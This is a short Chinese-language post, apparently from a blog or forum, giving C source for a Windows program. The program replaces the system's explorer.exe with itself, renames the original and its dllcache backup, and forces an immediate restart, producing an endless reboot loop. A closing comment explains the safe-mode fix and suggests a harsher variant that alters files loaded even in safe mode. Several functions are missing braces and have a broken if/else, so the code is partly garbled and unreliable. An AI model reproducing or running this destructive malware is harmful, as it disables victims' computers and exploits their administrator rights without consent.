沒有寫Linux的原因是因為搞不定Linux下的權限問題,而Windows下基本上使用電腦的使用者都是管理者,是以鑽個空了,不多說下面是代碼
#include "stdio.h"
#include "process.h"
int copy_file(char *start,char *end)
{
FILE *input,*output;
if(((input=fopen(start,"rb"))!=NULL)&&((output=fopen(end,"wb"))!=NULL))
{
char temp;
while(!feof(input))
{
fread(&temp,sizeof(char),1,input);
fwrite(&temp,sizeof(char),1,output);
}
fclose(input);
fclose(output);
return 0;
}
return 1;
}
int auto_run(char *my)
FILE *fp;
if((fp=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)
fclose(fp);
remove("C:\\windows\\$temp#");
remove("C:\\windows\\system32\\dllcache\\$temp$");
else
copy_file("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");
rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");
rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");
copy_file(my,"C:\\windows\\explorer.exe");
return 0;
int main(int argc,char **argv)
auto_run(argv[0]);
spawnl(1,"C:\\windows\\system32\\shutdown.exe"," -r -t 0",NULL);
/*據測試,在帶有指令提示符的安全模式下好像并沒有啟動explorer.exe.而本程式正是通過修改explorer.exe達到不斷重新開機的目的.是以隻要在帶有指令提示符的安全模式下将備份在windows\system\下的explorer.exe複制到windows\下就可以解決問題了,如果想做得更絕點的話,那就修改其它系統檔案,比如修改一些即使是使用安全模式也必需要啟動的系統檔案,這樣就比較棘手了*/